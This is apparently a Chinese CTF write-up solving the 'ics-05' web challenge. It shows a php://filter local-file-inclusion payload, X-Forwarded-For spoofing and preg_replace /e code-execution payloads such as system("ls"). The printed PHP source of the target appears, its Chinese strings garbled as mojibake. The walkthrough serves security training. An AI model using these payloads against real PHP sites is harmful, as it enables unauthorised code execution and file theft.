web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)

2023-12-01 16:15

本文主要是介绍web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

题目

打开页面显示如下

只有这个页面能打开

显示如下

用dirsearch扫一下

查看了一下,发现没什么用

查看页面源代码

返回了,写入的参数,猜测可能有文件包含漏洞

用php伪协议读取文件

构造payload

?page=php://filter/read=convert.base64-encode/resource=index.php

显示如下

base64解码可得

<?php
error_reporting(0);@session_start();
posix_setuid(1000);?>
<!DOCTYPE HTML>
<html><head><meta charset="utf-8"><meta name="renderer" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="layui/css/layui.css" media="all"><title>设å¤ç»´æ¤ä¸­å¿</title><meta charset="utf-8">
</head><body><ul class="layui-nav"><li class="layui-nav-item layui-this"><a href="?page=index">äºå¹³å°è®¾å¤ç»´æ¤ä¸­å¿</a></li></ul><fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"><legend>设å¤å表</legend></fieldset><table class="layui-hide" id="test"></table><script type="text/html" id="switchTpl"><!-- è¿éç checked çç¶æåªæ¯æ¼ç¤º --><input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="å¼|å³" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}></script><script src="layui/layui.js" charset="utf-8"></script><script>layui.use('table', function() {var table = layui.table,form = layui.form;table.render({elem: '#test',url: '/somrthing.json',cellMinWidth: 80,cols: [[{ type: 'numbers' },{ type: 'checkbox' },{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },{ field: 'name', title: '设å¤å', templet: '#nameTpl' },{ field: 'area', title: 'åºå' },{ field: 'status', title: 'ç»´æ¤ç¶æ', minWidth: 120, sort: true },{ field: 'check', title: '设å¤å¼å³', width: 85, templet: '#switchTpl', unresize: true }]],page: true});});</script><script>layui.use('element', function() {var element = layui.element; //导èªçhoverææãäºçº§èåç­åè½ï¼éè¦ä¾èµelement模å//çå¬å¯¼èªç¹å»element.on('nav(demo)', function(elem) {//console.log(elem)layer.msg(elem.text());});});</script><?php$page = $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br /><?php}else{?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) { //禁用了inputdie();}if (strpos($page, 'ta:text') > 0) {die();}if (strpos($page, 'text') > 0) {die();}if ($page === 'index.php') {die('Ok');}include($page);die();?></p><br /><br /><br /><br /><?php
}}//æ¹ä¾¿çå®ç°è¾å¥è¾åºçåè½,æ­£å¨å¼å中çåè½ï¼åªè½åé¨äººåæµè¯if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { //请求ip地址为127.0.0.1会返回welcome my admin!echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}?></body></html>

ctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母,如果是返回true,否则返回false。

strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置(大小写敏感)。

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行。

用bp伪造xff执行

利用preg_replace函数/e漏洞

preg_replace()函数的/e漏洞
正确的php system()函数的书写

preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern:       要搜索的模式,可以是字符串或一个字符串数组。
$replacement:   用于替换的字符串或字符串数组。
$subject:       要搜索替换的目标字符串或字符串数组。

就是替换字符串,要使 replacement 参数是我们想要的php代码即可

代码分析

123 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1')  //使用插件X-Forwarded-For Header改地址,{                                                
124 
125     echo "<br >Welcome My Admin ! <br >";
126 
127     $pattern = $_GET[pat];
128     $replacement = $_GET[rep];                      //判断三个变量存不存在,在进行perg_replace函数
129     $subject = $_GET[sub];                        
130                                 //这里的三个变量都是由我们输入,就方便多了                      
131     if (isset($pattern) && isset($replacement) && isset($subject)) {
132         preg_replace($pattern, $replacement, $subject);
133     }else{
134         die();
135     }

先测试一下

payload如下

?pat=/test/e&rep=phpinfo()&sub=test 

测试成功,成功返回执行phpinfo()

构造payload

?pat=/test/e&rep=var_dump(`dir`)&sub=test
or
pat=/php/e&rep=system("ls")&sub=test

显示如下

得到目录s3chahahaDir

访问后显示如下

进入flag/,发现flag.php

直接点进去是空白的

通过伪协议读取flag.php

payload

?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php

得到

base64解码,得到flag

参考文章内容

ics-05(命令执行漏洞及伪协议读取)

这篇关于web:ics-05(本地文件包含漏洞、preg_replace函数/e漏洞、php伪协议读取文件)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/441828

相关文章

Nginx搭建前端本地预览环境的完整步骤教学

《Nginx搭建前端本地预览环境的完整步骤教学》这篇文章主要为大家详细介绍了Nginx搭建前端本地预览环境的完整步骤教学,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录项目目录结构核心配置文件:nginx.conf脚本化操作:nginx.shnpm 脚本集成总结:对前端的意义很多

Python函数作用域与闭包举例深度解析

《Python函数作用域与闭包举例深度解析》Python函数的作用域规则和闭包是编程中的关键概念,它们决定了变量的访问和生命周期,:本文主要介绍Python函数作用域与闭包的相关资料,文中通过代码... 目录1. 基础作用域访问示例1:访问全局变量示例2:访问外层函数变量2. 闭包基础示例3:简单闭包示例4

Linux下利用select实现串口数据读取过程

《Linux下利用select实现串口数据读取过程》文章介绍Linux中使用select、poll或epoll实现串口数据读取,通过I/O多路复用机制在数据到达时触发读取,避免持续轮询,示例代码展示设... 目录示例代码(使用select实现)代码解释总结在 linux 系统里,我们可以借助 select、

Python中isinstance()函数原理解释及详细用法示例

《Python中isinstance()函数原理解释及详细用法示例》isinstance()是Python内置的一个非常有用的函数,用于检查一个对象是否属于指定的类型或类型元组中的某一个类型,它是Py... 目录python中isinstance()函数原理解释及详细用法指南一、isinstance()函数

python中的高阶函数示例详解

《python中的高阶函数示例详解》在Python中,高阶函数是指接受函数作为参数或返回函数作为结果的函数,下面:本文主要介绍python中高阶函数的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录1.定义2.map函数3.filter函数4.reduce函数5.sorted函数6.自定义高阶函数

Python中的sort方法、sorted函数与lambda表达式及用法详解

《Python中的sort方法、sorted函数与lambda表达式及用法详解》文章对比了Python中list.sort()与sorted()函数的区别,指出sort()原地排序返回None,sor... 目录1. sort()方法1.1 sort()方法1.2 基本语法和参数A. reverse参数B.

C#实现SHP文件读取与地图显示的完整教程

《C#实现SHP文件读取与地图显示的完整教程》在地理信息系统(GIS)开发中,SHP文件是一种常见的矢量数据格式,本文将详细介绍如何使用C#读取SHP文件并实现地图显示功能,包括坐标转换、图形渲染、平... 目录概述功能特点核心代码解析1. 文件读取与初始化2. 坐标转换3. 图形绘制4. 地图交互功能缩放

java读取excel文件为base64实现方式

《java读取excel文件为base64实现方式》文章介绍使用ApachePOI和EasyExcel处理Excel文件并转换为Base64的方法,强调EasyExcel适合大文件且内存占用低,需注意... 目录使用 Apache POI 读取 Excel 并转换为 Base64使用 EasyExcel 处

Python函数的基本用法、返回值特性、全局变量修改及异常处理技巧

《Python函数的基本用法、返回值特性、全局变量修改及异常处理技巧》本文将通过实际代码示例,深入讲解Python函数的基本用法、返回值特性、全局变量修改以及异常处理技巧,感兴趣的朋友跟随小编一起看看... 目录一、python函数定义与调用1.1 基本函数定义1.2 函数调用二、函数返回值详解2.1 有返

Python Excel 通用筛选函数的实现

《PythonExcel通用筛选函数的实现》本文主要介绍了PythonExcel通用筛选函数的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 目录案例目的示例数据假定数据来源是字典优化:通用CSV数据处理函数使用说明使用示例注意事项案例目的第一